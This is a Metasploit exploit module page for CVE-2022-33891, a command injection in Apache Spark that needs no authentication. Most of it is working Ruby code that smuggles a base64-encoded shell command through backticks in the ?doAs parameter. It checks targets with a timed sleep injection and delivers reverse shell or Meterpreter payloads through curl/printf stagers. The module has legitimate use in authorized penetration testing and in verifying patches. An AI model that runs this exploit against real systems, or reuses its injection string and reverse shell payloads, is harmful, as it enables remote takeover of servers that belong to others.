Authored by Kostya Kortchinsky, h00die-gr3y | Site metasploit.com

This Metasploit module exploits an unauthenticated command injection vulnerability in Apache Spark. Successful exploitation results in remote code execution under the context of the Spark application user. The command injection occurs because Spark checks the group membership of the user passed in the ?doAs parameter by using a raw Linux command. It is triggered by a non-default setting called spark.acls.enable. This configuration setting spark.acls.enable should be set true in the Spark configuration to make the application vulnerable for this attack. Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1 are affected by this vulnerability.

advisories | CVE-2022-33891

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Spark Unauthenticated Command Injection RCE',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability in Apache Spark.
Successful exploitation results in remote code execution under the context of the Spark application user.

The command injection occurs because Spark checks the group membership of the user passed
in the ?doAs parameter by using a raw Linux command.

It is triggered by a non-default setting called spark.acls.enable.
This configuration setting spark.acls.enable should be set true in the Spark configuration to make the application vulnerable for this attack.

Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1 are affected by this vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [
'Kostya Kortchinsky', # Security researcher and discovery of the vulnerability
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Author & Metasploit module
],
'References' => [
['URL', 'https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc'], # Disclosure
['URL', 'https://attackerkb.com/topics/5FyKBES4BL/cve-2022-33891'], # Analysis
['CVE', '2022-33891']
],
'DefaultOptions' => {
'SSL' => false,
'WfsDelay' => 5
},
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix (In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :in_memory,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'CmdStagerFlavor' => ['printf', 'curl'],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-07-18',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
]
)
end

def execute_command(cmd, _opts = {})
b64 = Rex::Text.encode_base64(cmd)
post_data = "doAs=`echo #{b64} | base64 -d | bash`"

return send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/'),
'data' => post_data
})
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT => e
elog("A communication error occurred: #{e.message}", error: e)
end

def check
print_status("Checking if #{peer} can be exploited!")

res = execute_command("echo #{Rex::Text.rand_text_alpha_lower(8..12)}")

return CheckCode::Unknown('Did not receive a response from target.') unless res

if res.code != 403
return CheckCode::Safe('Target did not respond with a 403 response.')
end

sleep_time = rand(5..10)
print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")

res, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}")
end

print_status("Elapsed time: #{elapsed_time} seconds.")

unless res && elapsed_time >= sleep_time
return CheckCode::Safe('Failed to test command injection.')
end

CheckCode::Vulnerable('Successfully tested command injection.')
end

def exploit
print_status('Exploiting...')
case target['Type']
when :in_memory
execute_command(payload.encoded)
when :dropper
execute_cmdstager(linemax: 1024) # set an appropriate :linemax dependent upon available space
end
end
end